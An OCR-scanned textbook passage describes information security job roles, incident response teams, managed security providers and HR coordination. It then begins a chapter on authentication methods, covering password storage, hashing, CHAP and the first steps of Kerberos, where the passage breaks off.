¢ Identifies risks to information resources through risk analysis
e Identifies critical and sensitive information resources

* Works with the data owner to assess and classify information

* Works with technical management to specify cost-effective security controls and
convey security control requirements to users and custodians

® Assists the security manager in evaluating the cost-effectiveness of controls

Security Engineer
The primary role of this position is the technical implementation of the architect’s designs.
The security engineer works directly with the architect on design decisions and with the
administrator on device management decisions. Security engineers generally have a degree in
engineering or computer science, along with extensive technical training or experience, and
they often hold Certified Information Systems Security Professional (CISSP) certification and
other technical certifications in their field of expertise.

A security engineer may perform the following duties:

¢ Installation and configuration of networks and network devices such as web
application firewalls, network firewalls, switches, load balancers, and routers

¢ Security configuration of Unix, Linux, or Windows servers

¢ Security configuration of applications and databases

¢ Installation, configuration, and design of security tools, including development
and coding

® Security incident investigation, including network packet capture

® Maintenance and monitoring of network and host intrusion detection and
prevention technologies
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Security Administrator

Every security organization has security administrators, as many as needed to implement
security on a day-to-day, operational/tactical basis at the facility. The security administrator
executes all actions directed by the security architect, security engineer, security manager, or
as required by security policy or incident response procedures. The security administrator is
responsible for ensuring all appropriate security requirements are met and maintained on
all computers, networks, and network technologies, including patch management and
operating system upgrades.

The security administrator is often the first person contacted whenever there is a
suspected or known security problem. This person has the operational/tactical responsibility
for ensuring that the business, its reputation, and its assets are protected and has the
authority to take any and all action necessary to accomplish this goal.

Among other duties, the security administrator:

¢ Implements the security controls specified by the security architect, security
engineer, and security manager

® Implements physical and procedural safeguards for information resources within
the facility

* Administers access to the information resources and makes provisions for timely
detection, reporting, and analysis of actual and attempted unauthorized access to
information resources

® Provides assistance to the individuals responsible for information security
e Assists with acquisition of security hardware/software

® Assists with identification of vulnerabilities and other data gathering activities and
log file analysis

® Develops and maintains access control rules

® Maintains user lists, passwords, encryption keys, and other authentication and
security-related information and databases

® Develops and follows procedures for reporting on monitored controls

Security Analyst
The primary role of this position is to support the security architect, security engineer,
security administrator, and security management in analyzing and producing reports
required for the assessment and smooth functioning of security operations. The security
analyst may hold vendor-oriented certifications such as those offered by Cisco, Microsoft,
Enterasys, Symantec, Oracle, and McAfee.

Among other duties, the security analyst:

® Monitors alerts and reports generated by security systems
® Reviews log files as generated by security devices and servers, making note of anomalies
¢ Compiles reports as required by management or as specified by security policy

* Maintains security metrics
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¢ Collaborates with security organization team members to assess and analyze security
operations and suggests improvement

® Manages quality control and change management initiatives for the security
organization

® Maintains security policy documentation and ensures that necessary changes are
incorporated as directed by the architect or management

Security Investigator
This position is responsible for Legal, HR, and internal investigations into security
incidents, breaches, attacks, and violations. The security investigator often works closely
with law enforcement agencies as needed. Skills required include technical expertise as well
as evidence handling and forensic procedures. The security investigator may hold industry-
related certifications in forensics and incident response.

Among other duties, the security investigator:

¢ Responds to requests from HR, Legal, and other internal departments to investigate
incidents

¢ Coordinates with outside attorneys or law enforcement representatives
¢ Collects and preserves evidence from computer systems

¢ Performs e-discovery and forensic searches for keywords and patterns
® Produces detailed reports on investigations

® Provides information to the HR and Legal departments for action

¢ Maintains strict secrecy about ongoing investigations

Security Awareness Trainer

The primary role of this position is to develop and deliver security awareness training to the
business based on corporate security policy, standards, procedures, and guidelines. The trainer
generally has a background in security as well as in education and training. The trainer
coordinates and collaborates with the security department subject matter experts to ensure
that the training is both comprehensive and accurate. This position may alternatively reside in
another department within the business, typically Human Resources or Communications.

An important characteristic of this position is that the skill set required for the delivery
of effective security awareness training is not often found within an IT department, yet the
position requires detailed security knowledge. Assigning security engineers and security
administrators to produce training materials can be ineffective, due to the highly technical
nature of their work and the requirement for delivering training in “plain English.” The
trainer must be skilled in interpreting technical information for the business’ employees in
a way that is understandable, fresh, interesting, and highly relevant.

Facility Security Officer

The primary role of this position is to enforce the business’ physical security policy at each
building location. Each major facility location should have a security officer responsible for
coordinating all physical security—related activities and incidents at the facility. The person
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in this position is not the same person who is operationally responsible for the computer
equipment at the facility. The facility security officer has the authority to take action
without the approval of the management at the facility when required to ensure physical
security. This position also typically works within a Facilities department rather than IT.

All physical security reports are reviewed by the facility security officer. For example,
this position reviews log files of facility access records, such as key card logs. The facility
security officer is responsible for coordinating all activities related to security incidents at
the facility and has the authority to decide what actions are to be taken as directed by the
incident response procedures. The facility security officer coordinates all activities with the
corporate security manager, director, or vice president.

Application Security Functions

In organizations that develop in-house code for applications used internally, depending on the
size and complexity of the application development process there may be a justification for at
least one application security specialist. This person would need to be highly knowledgeable
about the programming languages being used, and well-trained in security programming
techniques (as described in Chapters 26 through 30 of this book). The role of this job function
is to provide guidance and training to programmers on how to write secure code, and to
review every line of code produced by the programmers for security vulnerabilities and flaws.
Commercial code scanners and application testing technologies would also be used by the
person in this role to scan and test in-house software for flaws. Alternatively, an outside
organization may be contracted to perform code reviews and scanning. Code review and sign-
off by this security function should be required before promoting any code to production.

Business Continuity and Disaster Recovery Planning Functions
Depending on the size of the business, business continuity planning (BCP) and disaster
recovery (DR) planning and testing may be done by one person (in smaller organizations)
or several people in each function (in larger organizations). The question of whether these
functions belong within the security organization is best determined by the needs of the
business. Generally speaking, smaller businesses that have these functions performed by
one or two people should place them in the security organization, while larger businesses
may benefit from a dedicated organization for BCP and DR. A good rule of thumb is that
they should be part of the information security organization if their work is primarily
technical in nature, whereas they should reside elsewhere in the business if their focus is
more business-oriented than technical. Chapter 32 covers these functions in more detail.

Non-Security Jobs with Security Responsibilities

Several individuals in a business have important responsibilities in the maintenance of
security. These individuals may or may not focus exclusively on security in their jobs. Some
of these positions are security positions; others are held by people who are responsible for
keeping the business secure even if their primary job is something else.

Every IT department has system and network administrators. Sometimes these are the
same person; sometimes the duties are divided among different individuals or departments.
Regardless of the reporting structure, the system and network administrators bear important
security responsibilities. System administrators build new computer systems; install operating
systems; install and configure software; and perform troubleshooting, maintenance, and
repairs. In the course of all these functions, system administrators apply security standards
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and policies. Operating systems must be installed in compliance with the security standards
for their particular application. This usually includes turning off unneeded services (known
as hardening), applying the latest security updates and patches, and applying templates and
secure configurations to software applications. Any oversight or failure to consider the
security of the system can compromise the entire organization, so the system administrator
position is crucial to the success of the security program.

Network administrators have responsibilities and levels of access that require them to
conform to security standards and policies as well. Often, the network administrator is
responsible for firewall and router configurations that apply the business’ security policy in
specific situations. Incorrect or inappropriate configuration choices can open up security
holes that put the entire business at risk.

Data that is resident on computer systems, shared storage devices, databases, and
applications must be handled securely. This means encrypting data in storage (or at rest) and
data in transit, performing change control, and implementing access controls and
authorization levels to ensure that only the right people can get to the information. The
operational responsibility for this data security management falls into the domains of the data
owners and the data custodians. Data owners make the decisions that determine who should
modify, view, change, and create information files. The owner of each piece of data should
identify who is the intended audience, who can make changes, and who can erase the data.

The data custodian implements the decisions of the data owner by making approved
changes, presenting the data to the appropriate audience, and properly destroying the data
when it is deleted. When sensitive data is strongly overwritten, the data custodian ensures
that the data is properly destroyed.

Security Incident Response Team

Security incident response teams are known by several names. Some are called SRT for security
response team, some are called CIRT for computer incident response team, and some are
called IRT for incident response team (which is the term used in the following discussion).
Regardless of the specific terminology, these teams are collections of individuals from various
parts of the business who are brought together to handle emergencies. They join the team
apart from their daily responsibilities in order to prepare, practice, and drill for potential
emergencies and, in the event of an actual emergency, handle the situation.
Examples of the types of incidents a response team might handle include
¢ Hostile intrusions into the network by unauthorized people
* Damaging or hostile software loose on a system or on the network

¢ Unauthorized access or acceptable use violations resulting in the need for
investigations of personnel

e Virus activity
® Software failures, system crashes, and network outages

¢ Participation in external investigations by law enforcement, government regulators,
or international watchdog and legal organizations

¢ Court-ordered discovery, evidentiary, or investigative legal action

¢ Illegal activities such as software piracy
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Every business performs incident response, whether or not they have an official IRT
established. In many businesses where there is no IRT, individual employees perform
incident response by dealing with incidents in their own way. A software virus outbreak is
one example. In businesses without an IRT, employees may choose to install antivirus
software, run specialized virus cleaning software, or just live with a virus infestation. In these
situations, no coordination happens and virus response varies with each individual, usually
without enterprise-wide success. One advantage of an organized IRT is that it can deal with
incidents like this on a higher level, with more comprehensive success.

Members of an IRT should include technical experts who can evaluate incidents like
network intrusions, software failures, and virus outbreaks on a technical level; administrators
who can keep logs and maintain the paperwork and electronic information associated with
an incident investigation; managers who coordinate the work of the IRT members; and, if
available, IRT specialists who have served on prior IRTs. None of these individuals necessarily
needs to be assigned to the IRT as a full-time position. Typically, businesses that establish an
IRT leverage employees from many other parts of the business and ask them to share their
responsibilities between their regular job and the IRT.

An IRT can be assigned individuals with specific technical expertise in a variety of areas.
Depending on the business and the types of technologies used in the infrastructure, this
expertise may include

® Virus management

® Hostile software detection and management

® Vulnerability analysis

® Specific hardware platforms

® Specific operating systems

¢ Commercial off-the-shelf or open source tools and applications

¢ Custom-developed or in-house-developed software and/or scripts

The IRT should have a clearly defined depth of standard investigations, because
investigations become more expensive and time-consuming as they go deeper. The basic
investigative lifecycle includes Preparation, Identification, Detection, Eradication, Recovery,
and Lessons Learned. The IRT may also need to prioritize its activities, especially in cases
where several incidents happen at once, and this prioritization should be directed by
management rather than the individual team members, to keep the team aligned with the
corporate goals.

Daily IRT operations can include interpretation of reported incidents; prioritization and
correlation with existing efforts; evaluation of current trends and industry experiences;
verification that incidents are real; categorization of incidents; and summarization and
reporting to management, end users, and outside agencies. Once incidents are identified
and evaluated, removal of the cause by blocking or fixing the exploited vulnerability and
restoration of the original state of the impacted system or network can be performed.
During the entire process, a careful log and audit trail should be preserved, and information
gathered should be evaluated to determine how to improve IRT operations in the future
(and this information may be required for legal purposes if prosecution is pursued).
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Many aspects of an IRT’s actions can be identified, categorized, and codified. These
actions should be documented as part of an operational procedure manual. This allows
individual team contributors to make informed and appropriate decisions during the heat
of an incident. Operational procedures can include standard incident response process,
vulnerability analysis and remediation, communication with other groups and with the
general business entity, coordination with law enforcement and the court system, and
evidence handling and audit trail maintenance.

Many businesses want to have their own in-house IRT, so the team can integrate into the
corporate culture and become more informed and effective. Others prefer to outsource
this function to avoid having to hire incident response specialists. Outsourcing carries the
additional advantage of pay-as-you-go, where costs associated with incident response occur
only when the IRT is activated during an incident. Incident handling should be done
according to a consistent set of well-documented procedures, in case a court proceeding is
required. Investigation manuals are available from a variety of sources that can be used to
guide the investigator.

Managed Security Services

Most organizations, whether large or small, have difficulty achieving a high enough level of
information security to comply with industry best practices. Very few businesses invest in an
internal security organization with enough resources to do everything the business would
like to do. Most businesses realize this but continue to do business with the hope that
nothing bad will happen.

However, more businesses are beginning to recognize the value of outsourcing services
that are not central to their core business. It’s rare for modern businesses to hire their own
cafeteria staff or housekeeping staff or, in many cases, even handle their own payroll. It
would be unthinkable for most businesses to maintain a force of air transportation. Now,
other types of services are beginning to come under the same scrutiny for efficiency, quality,
and cost-effectiveness.

Managed Security Service Providers (MSSPs), outside firms contracted by businesses to
perform specific security tasks, are becoming increasingly popular and viable for modern
businesses. These firms are businesses that hire specialized staff with expertise in focused
areas such as firewall management, intrusion-detection analysis, and vulnerability analysis
and remediation. Often, these companies are able to hire specialists that are more
advanced than what other businesses can afford, because of their specialization. Their
customers are then able to gain access to this expertise without having to pay the salaries
and infrastructure costs, which are absorbed by the MSSP.

There are four good reasons to look to an information security provider for outsourced
services:

e Security expertise is not found in-house.

® Security is required 24x7x365 while functionality may be required only for certain
business windows (for example, 8 A.M. to 5 p.M.).

e Vast amounts of data must be examined.

¢ Specialized skill sets are hard to find.
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A security infrastructure requires constant vigilance. It’s not enough to rely on automated
software that can be tricked, or might crash, or may overlook important scenarios. Human
intelligence is needed to analyze activity and make decisions on the spot. It’s not enough to
have one person with a mobile phone—three shifts are required. Moreover, intruders don’t
take vacations, and they attack from all the different time zones.

Identifying security threats and making decisions about how to respond involves sifting
through log files, network activity, and configurations. False positives, true positives, false
negatives, and true negatives are all possible outcomes from an inspection—one system
communicating legitimately with another may appear to be an attack, or a system
administrator performing a routine upgrade may look like an intruder. Somebody needs to
be able to investigate these situations properly to determine the most appropriate response.

All of this requires advanced skills. Experienced security specialists are hard to find, but
security service providers can attract senior-level staff because the people who specialize in
security are attracted to businesses that focus on their field of expertise.

MSSPs must adhere to an organization’s policy, standards, procedures, and guidelines
and should be subject to auditing.

Outsourcing security functions to MSSPs changes the business equation from one of
running and managing a 24x7 operation in an in-house shop to vendor management. Most
businesses are more experienced with the latter than the former, but the key to success is to
manage the vendor properly to meet the expectations and needs of the business. There are
pros and cons associated with outsourcing security operations to MSSPs.

Benefits and advantages include

e Experience
® Cost savings
¢ Fastimplementation
e Adaptability

e Infrastructure
Liabilities and disadvantages include

¢ Delays in processing events and incidents

e Failure to adhere to service level agreements

® Performance that does not meet expectations

¢ Inability to perform timely investigative responses

¢ Inability to align to the primary business’ mission and business objectives

When information security is the primary business of an organization, that organization
will have a strong business motivation to invest in a world-class security infrastructure. In
addition, that organization will work with many different customers with widely varying
environments, and it will implement many different types of security solutions. Information
security providers bring this experience to bear in their customers’ environments, providing
a level of quality that can’t be matched by organizations that don’t specialize in security.

In general, service providers may save their customers money by performing a service
more efficiently than the customers can perform it on their own. Service providers leverage
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their staff of specialists to service many different accounts, thus giving everyone the benefit
of industry leadership. Additionally, they often produce methodologies, best practices, and
standards that can be applied in their business relationships. These business tools often
enable service providers to provide significant cost savings to their customers.

Many projects fall behind schedule or have difficulty getting off the ground due to lack
of resources, management support, financing, or effective project management. Service
providers often avoid these problems by applying all these components in a focused way to
the projects on which they are engaged. Service providers have a strong business motivation
to succeed in the projects they take on.

Because security providers work with many different technologies and products, they
have a level of flexibility often denied to other organizations. The number of security
specialists most organizations can afford to employ is usually much smaller than the
number a security provider can afford to employ, and the former’s staff usually has a skill
set that is limited to the products with which the staff members have personally worked.
This gives service providers the advantage of flexibility, since their staff is larger and more
focused on the task at hand.

Unlike with most organizations, the information security infrastructure of a security
provider is revenue-generating rather than an expense. For that reason, the security
provider can apply a greater amount of resources to developing its infrastructure and can
leverage that infrastructure to the advantage of the customer. Security providers have the
motivation to spare no expense to produce a world-class infrastructure, and their customers
reap the benefits.

Services Performed by MSSPs

On Internet connections, wide area networks, and local area networks, MSSPs provide

e Incident detection
¢ Incident logging
® Proactive response

¢ Reactive response

Different zones of an organization’s data network can be monitored and managed from
a security perspective. Typically, these can include the corporate LAN, the WAN connections
to remote sites, and connections over public networks such as the Internet and even cloud
services. Many organizations have virtual private networks (VPNs) to connect employees to
their network or to connect other sites, and many organizations also have extranet
connections to partners, service providers, and customers.

Each of these zones should be managed and monitored from a security perspective, and
each should adhere to strong security principles. Each will have differing requirements for
access and privacy. Whenever a problem occurs, such as unauthorized access or misuse,
detecting the incident is crucial to the success of an organization’s security. Recent data
losses by some well-known companies were not detected right away and left those companies
embarrassed after the incidents were reported in the press. In some highly publicized cases,
those companies did not know for several weeks that they were taken advantage of.

Potentially even more important than the loss of PR is the loss of opportunity when
incidents go undetected. Security violations that are detected right away can be dealt with
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during the incident, which not only affords the opportunity to shut down the attack before
serious harm occurs, but also prevents the loss of credibility that is crucial to many
organizations’ customer relationships. Incidents in progress can also be logged in detail for
potential legal action or for further investigation after the incident has concluded.

Many organizations desire proactive response, which is to say, prevention of security
violations before they take place. Blocking attacks while continuing to perform logging of
data can be of great value to an organization. Reactive response is also important; it usually
involves human interaction to determine what course of action is best for the business, up
to and including disconnection of service—a decision that might cost an organization
thousands of dollars in lost revenue but may save millions in lost data. Decisions like that
require a quick link between the people monitoring the security and the people making
the business decisions.

Services That Can Be Monitored by MSSPs

Security service providers can provide monitoring of many different types of activities.
MSSPs will typically monitor the network for unusual or suspicious activity and identify
anything that requires direct intervention or incident response. In such cases, they either
raise an alert to IT or information security staff, or they may perform a direct intervention
if they have the access and ability (and the contract provides this service). The activities that
may be monitored by an MSSP include

® Unauthorized access attempts to firewalls, systems, and network devices

¢ Port scanning

* System intrusion detection originating from a protected system behind a firewall

® Network intrusion detection originating from “probe” devices connected to the
protected internal network

® Root and administrator account usage
e Denial of services

e Other relevant security events
Many security service providers can also provide additional value-added services, such as:

® Detection of nonstandard behavior of services
® Detection of changes to systems
¢ Reduction of false alarms by employing human intelligence
e Correlation between events on the internal network and the Internet
® Providing updates of the latest security products, threats, and vulnerabilities
® Scanning and reporting on vulnerabilities
e Support and training
Many organizations want to know about authorized as well as unauthorized activities.

Managing a data infrastructure is a complex business, and knowing what constitutes a
normal pattern of behavior can be a significant asset to managers.
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Security Council, Steering Committee,
or Board of Directors

The security organization should be included in all efforts that involve corporate data and
resources. Many different departments handle data, not just IT. For example, the HR
department handles confidential employee information. The Legal department handles
confidential business and customer information. The Facilities department may handle
badging and physical access. Generally speaking, every major department in the business has
some level of interaction with business resources and data. All of these departments should
coordinate with the security organization. In most businesses, the security team meets with
almost every manager of the business, and sometimes with most of the employees.

A security council or steering committee, whose members include representatives from
each major business department, provides a forum for information exchange that facilitates
the job of the security practitioner and identifies business requirements to which the security
organization should be privy. Each security council representative provides status updates of
initiatives within that representative’s organization, and each receives information from the
security organization about initiatives and practices that impact each of them.

The security council can be used in a variety of ways. Information gathering is one
important opportunity. Members of the security council have unique visibility into the
operation of their part of the business. This visibility is important to the comprehensiveness
of the security practitioner’s focus. For example, a department that is considering a new
technology initiative may not have considered the security impact on the rest of the network,
but the security practitioner, upon hearing about the initiative, may make conceptual
connections overlooked by the individual department.

A security council or steering committee can also be an effective risk management tool.
The purpose of a risk analysis is to identify as many business risks as possible, and then either
accept, mitigate, or transfer those risks. Any risks that are overlooked by a risk analysis put
the business in jeopardy if any of those risks become realized. Members of the security
council can be polled to identify specific business risks in each of their specialties, and this
provides a risk analysis with a greater scope and better coverage.

Another advantage is that it gives a sense of participation and teamwork to business
departments that may otherwise act independently without consulting each other, or even
compete for resources or produce conflicting infrastructures.

Interaction with Human Resources

Human Resources departments need to provide required information about new hires to
security administrators before the new hires’ start date. This is an important interaction
between HR and IT, even if the security organization is not part of the hiring procedure.
Security administrators need to know at any point in time whose employment with the
business is valid, so they can properly maintain and monitor accounts on systems and on
the network. Perhaps even more important, HR also reports required information about
terminations to system administrators before the final termination occurs. The security
organization is always involved in terminations to some extent, because employee
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terminations result in the revocation of trust. When trust is revoked, assurance must be
provided that all access has been revoked, and activity must be monitored to ensure the
maintenance of that revocation.

HR manages contractor information and provides this information to security
administrators. Contractors, as temporary employees, present special problems to
security administrators. They often work for only a short time and sometimes come and
go, resulting in a constant process of granting and revoking physical access and system
and network accounts. It’s hard to tell when seeing a contractor in the hallways whether
they should be there or not. The security of the network relies heavily on the timely
transfer of information from HR to the security organization. HR, in turn, requires timely
information from individual managers regarding the status of their contractors hired
directly and managed individually.

HR performs background checks, credit checks, and reference checks on new employee
applicants. Exit interviews are conducted with terminating employees to recover portable
computers, telephones, smart cards, business equipment, keys, and identification badges
and to identify morale problems if they exist. Employees discharged for cause must be
escorted from the premises immediately and prohibited from returning, both to reduce
the threat of retaliation and to forestall any questions if unexpected activity occurs on
the network or on the premises.

Monitoring the activities of employees is a matter of corporate culture—those
organizations that want to do it differ in the extent and type of response they choose.
Likewise, the treatment of confidential and private information differs from business to
business, but these are issues that should be dealt with by every organization. If an
organization hasn’t gotten around to a formal policy on these issues, the best time to start is
now, before a policy violation occurs when there is no clear, documented policy that has
been communicated to all employees. Communication is truly the key to successful security
management. Physical security should not be overlooked, and periodic fire drills can be
used to test security measures, help close any gaps, and avoid the danger of having a false
sense of security.

Summary

Every business needs a risk management approach that is headed by a top level organization,
dedicated to risk management and information security. This organization requires executive-
level representation in the business, because the management of risks related to information
security is ultimately the responsibility of senior management—whether the business is
regulated or not, the top executives are on the hook for any consequences that occur due to
failure of security controls. The CSRO or CISO is the highest level of security manager in
midsize and larger businesses, with ultimate responsibility for all security efforts for the
business. Regardless of the specific functions within the security organization, the definition
of who does what should be well defined in an org chart with clear responsibilities assigned to
each individual, so security can be properly managed. Security functions include strategic
positions such as management, architecture, and policy specialists, as well as operational
positions such as administrators, analysts, and investigators. Other functions such as BCP, DR,
and physical security may also reside within the information security organization, depending
on the nature of the business.
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In addition to these full-time roles, security response teams are comprised of collections
of individuals from various parts of the business who are removed from their daily
responsibilities and brought together to prepare, practice, and drill for emergencies, and
these are the people who handle emergencies when they arise. Further, a corporate security
council or steering committee, whose members include representatives from each major
department in the business that are stakeholders in the end result of the security program,
provides a forum for information exchange and input into the decisions that shape the
security program.

For those functions not staffed internally, MSSPs are an option. These outside firms are
contracted by businesses to perform specific security tasks such as monitoring, alerting, and
incident response. MSSPs are becoming increasingly popular for many security roles
because they can be less expensive, more efficient, and more effective than what many
businesses are capable of building in-house (especially for 24 x 7 service).
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CHAPTER

Authentication
and Authorization

One of the most common ways to control access to computer systems is to identify who is at
the keyboard (and prove that identity), and then decide what they are allowed to do. These
twin controls, authentication and authorization, respectively, ensure that authorized users get
access to the appropriate computing resources, while blocking access to unauthorized users.
Authentication is the means of verifying who a person (or process) is, while authorization
determines what they’re allowed to do. This should always be done in accordance with the
principle of least privilege—giving each person only the amount of access they require to be
effective in their job function, and no more.

Authentication

Authentication is the process by which people prove they are who they say they are. It’s
composed of two parts: a public statement of identity (usually in the form of a username)
combined with a private response to a challenge (such as a password). The secret response
to the authentication challenge can be based on one or more factors—something you know
(a secret word, number, or passphrase for example), something you have (such as a
smartcard, ID tag, or code generator), or something you are (like a biometric factor like a
fingerprint or retinal print). A password by itself, which is a means of identifying yourself
through something only you should know (and today’s most common form of challenge
response), is an example of single-factor authentication. This is not considered to be a strong
authentication method, because a password can be intercepted or stolen in a variety of
ways—for example, passwords are frequently written down or shared with others, they can
be captured from the system or the network, and they are often weak and easy to guess.
Imagine if you could only identify your friends by being handed a previously agreed
secret phrase on a piece of paper instead of by looking at them or hearing their voice. How
reliable would that be? This type of identification is often portrayed in spy movies, where a
secret agent uses a password to impersonate someone the victim is supposed to meet but has
never seen. This trick works precisely because it is so fallible—the password is the only means
of identifying the individual. Passwords are just not a good way of authenticating someone.
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Unfortunately, password-based authentication was the easiest type to implement in the early
days of computing, and the model has persisted to this day.

Other single-factor authentication methods are better than passwords. Tokens and
smart cards are better than passwords because they must be in the physical possession of
the user. Biometrics, which use a sensor or scanner to identify unique features of individual
body parts, are better than passwords because they can’t be shared—the user must be
present to log in. However, there are ways to defeat these methods. Tokens and cards can
be lost or stolen, and biometrics can be spoofed. Yet, it’s much more difficult to do that
than to steal or obtain a password. Passwords are the worst possible method of proving an
identity, despite being the most common method.

Multifactor authentication refers to using two or more methods of checking identity.
These methods include (listed in increasing order of strength):

¢ Something you know (a password or PIN code)
¢ Something you have (such as a card or token)

¢ Something you are (a unique physical characteristic)

Two-factor authentication is the most common form of multifactor authentication, such
as a password-generating token device with an LCD screen that displays a number (either
time based or sequential) along with a password, or a smart card along with a password.
Again, passwords aren’t very good choices for a second factor, but they are ingrained into
our technology and collective consciousness, they are built into all computer systems, and
they are convenient and cheap to implement. A token or smart card along with biometrics
would be much better—this combination is practically impossible to defeat. However, most
organizations aren’t equipped with biometric devices.

The following sections provide a more detailed introduction to these types of
authentication systems available today:

¢ Systems that use username and password combinations, including Kerberos

e Systems that use certificates or tokens

* Biometrics

Usernames and Passwords

In the familiar method of password authentication, a challenge is issued by a computer, and
the party wishing to be identified provides a response. If the response can be validated, the

user is said to be authenticated, and the user is allowed to access the system. Otherwise, the

user is prevented from accessing the system.

Other password-based systems, including Kerberos, are more complex, but they all rely
on a simple fallacy: they trust that anyone who knows a particular user’s password is that
user. Many password authentication systems exist. The following types of systems are
commonly used today:

® Local storage and comparison

¢ Central storage and comparison
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¢ Challenge and response
e Kerberos

® One-time password (OTP)
Each type of system is discussed in turn next.

Local Storage and Comparison

Early computer systems did not require passwords. Whoever physically possessed the system
could use it. As systems developed, a requirement to restrict access to the privileged few was
recognized, and a system of user identification was developed. User passwords were entered
in simple machine-resident databases by administrators and were provided to users.

Often, passwords were stored in the database in plaintext format (unencrypted),
because protecting them wasn’t really a high priority. Anyone who was able to open and
read the file could determine what anyone else’s password was. The security of the database
relied on controlling access to the file, and on the good intentions of all the administrators
and users. Administrators were in charge of changing passwords, communicating changes
to the users, and recovering passwords for users who couldn’t remember them. Later, the
ability for users to change their own passwords was added, as was the ability to force users to
do so periodically. Since the password database contained all information in plaintext, the
algorithm for authentication was simple—the password was entered at the console and was
simply compared to the one in the file.

This simple authentication process was, and still is, used extensively for off-the-shelf and
custom applications that require their own internal authentication processes. They create
and manage their own stored-password file and do no encryption. Security relies on the
protection of the password file. Because passwords can be intercepted by rogue software,
these systems are not well protected.

Securing Passwords with Encryption and Securing the Password File In time, a
growing recognition of the accessibility of the password file, along with some high-profile
abuses, resulted in attempts to hide the password file or strengthen its defense. In early
Unix systems, passwords were stored in a file called /etc/passwd. This file was world-
readable (meaning that it could be opened and read by all users) and contained all the
passwords in encrypted form. Nevertheless, the encryption was weak and easy to defeat.
Blanking the password field (possible after booting from a CD) allowed a user to log in
with no password at all. Again, after several highly publicized compromises, the system was
redesigned to what it is today. In most modern Unix systems, the usernames are stored in
the /etc/passwd file but the passwords are stored in a separate file, known as a shadow
password file and located in /etc/shadow. It contains the encrypted passwords and is not
world-readable. Access is restricted to system administrators, thus making an attack from a
regular user account more difficult.

Much like early Unix systems, early versions of Windows used easily crackable password
(.pwd) files. Similarly, Windows NT passwords were saved in the Security Account Manager
(SAM), which could be modified to change the passwords contained in it, or subjected to
brute-force attacks to obtain the passwords. Later versions of Windows added the syskey utility,
which added a layer of protection to the database in the form of additional encryption.
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However, attack tools were created that could be used to extract the password hashes from
syskey-protected files.

Numerous freely available products can crack Windows and Unix passwords. Two of the
most famous are LC4 (formerly known as LOphtCrack) and John the Ripper. These
products typically work by using a combination of attacks: a dictionary attack (using the
same algorithm as the operating system to hash words in a dictionary and then compare the
result to the password hashes in the password file), heuristics (looking at the things people
commonly do, such as create passwords with numbers at the end and capital letters at the
beginning), and brute force (checking every possible character combination).

Another blow to Windows systems that are protected by passwords is the availability of a
bootable Linux application that can replace the Administrator’s password on a stand-alone
server. If an attacker has physical access to the computer, they can take it over—though this
is also true of other operating systems using different attacks.

Protection for account database files on many operating systems was originally very weak,
and may still be less than it could be. Administrators can improve security by implementing
stronger authorization controls (file permissions) on the database files.

In any case, ample tools are available to eventually compromise passwords if the machine
is in the physical possession of the attacker, or if the attacker can obtain physical possession of
the password database. That’s why every system should be physically protected. Centralized
account databases and authentication systems should be protected with extra precautions. In
addition, user training and account controls can strengthen passwords and make the
attacker’s job harder—perhaps hard enough that the attacker will move on to easier pickings.

Today, many off-the-shelf applications now use the central authentication system already
in use by the organization, such as Lightweight Directory Access Protocol (LDAP) or Active
Directory. They rely on the existing credentials of the user, instead of maintaining their
own password databases. This is much better from a security standpoint, as well as easier for
the end users. Single sign-on (SSO) allows users to authenticate to applications using their
current credentials, without being challenged, which improves the user experience.

Central Storage and Comparison

When passwords are encrypted, authentication processes change. Instead of doing a simple
comparison, the system must first take the user-entered, plaintext password and encrypt it
using the same algorithm used for its storage in the password file. Next, the newly
encrypted password is compared to the stored encrypted password. If they match, the user
is authenticated. This is how many operating systems and applications work today.

How does this change when applications are located on servers that client workstations
must interface with? What happens when centralized account databases reside on remote
hosts? Sometimes the password entered by the user is encrypted, passed over the network in
this state, and then compared by the remote server to its stored encrypted password. This is
the ideal situation. Unfortunately, some network applications transmit passwords in
cleartext—telnet, FTP, rlogin, and many others do so by default. Even systems with secure
local, or even centralized, network logon systems may use these and other applications
which then transmit passwords in cleartext. If attackers can capture this data in flight, they
can use it to log in as that user. In addition to these network applications, early remote
authentication algorithms (used to log in via dial-up connections), such as Password
Authentication Protocol (PAP), also transmit cleartext passwords from client to server.
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What’s in a Hash?

A hash function is a mathematical formula that converts a string of characters (text or
numbers) to a numeric code (commonly called a hash). These functions are very
important to encryption methods, and thus to authentication systems that require
something (like a password) to be hidden. They’ve been around since the 1970s.

In theory, a hash is one-way code, which means you can create it, but not reverse
it. It’s like being able to encrypt something without being able to decrypt it. How is
this useful? When one computer creates a hash, another computer can use exactly
the same inputs to create another hash, and compare the two. If they match, the
inputs are the same.

In practice, modern hashes can be cracked using advanced techniques. But they
are still some of the most useful tools we have for obfuscating data.

Secure Hash Algorithm version 1 (SHA-1) and Message Digest version 5 (MD5)
are the most widely known modern hash functions.

CHAP and MS-CHAP

One solution to the problem of securing authentication credentials across the network so they
are not easily intercepted and replayed is to use the challenge and response authentication
algorithms Challenge Handshake Authentication Protocol (CHAP, described in RFC 1994) and
the Microsoft version, MS-CHAP (RFC 2433). These protocols use the Message Digest version 5
(MD5). The server that receives the request for access issues a challenge code, and the
requestor responds with an MDb5 hash of the code and password. The server then compares
that hash to its own hash made from the same code and password. If they are the same, the
user is authenticated.

In addition to more secure storage of credentials, version 2 of MS-CHAP (MSCHAPV2,
described in RFC 2759) requires mutual authentication—the user must authenticate to the
server, and the server must also prove its identity. To do so, the server encrypts a challenge
sent by the client. Since the server uses the client’s password to do so, and only a server that
holds the account database in which the client has a password could do so, the client is also
assured that it is talking to a valid remote access server. This is a stronger algorithm, although
it is not unbreakable. MSCHAPv2 has been found to be vulnerable to brute force attacks that
can be performed within a timeframe of minutes to hours on modern hardware.

Kerberos

Kerberos is a network authentication system based on the use of tickets. In the Kerberos
standard (RFC 1510), passwords are key to the system, but in some systems certificates
may be used instead. Kerberos is a complex protocol developed at the Massachusetts
Institute of Technology to provide authentication in a hostile network. Its developers,
unlike those of some other network authentication systems, assumed that malicious
individuals as well as curious users would have access to the network. For this reason,
Kerberos has designed into it various facilities that attempt to deal with common attacks
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Figure 7-1 The Kerberos authentication system uses tickets and a multistep process.

on authentication systems. The Kerberos authentication process follows these steps, which

are illustrated in Figure 7-1:

1. A user enters their password.

2. Data about the client and possibly an authenticator is sent to the server. The
authenticator is the result of using the password (which may be hashed or
otherwise manipulated) to encrypt a timestamp (the clock time on the client

computer). This authenticator and a plaintext copy of the timestamp accompany a
login request, which is sent to the Kerberos authentication server (AS)—this is the
KRB_AS_REQ message. This is known as pre-authentication and may not be part of
all Kerberos implementations.
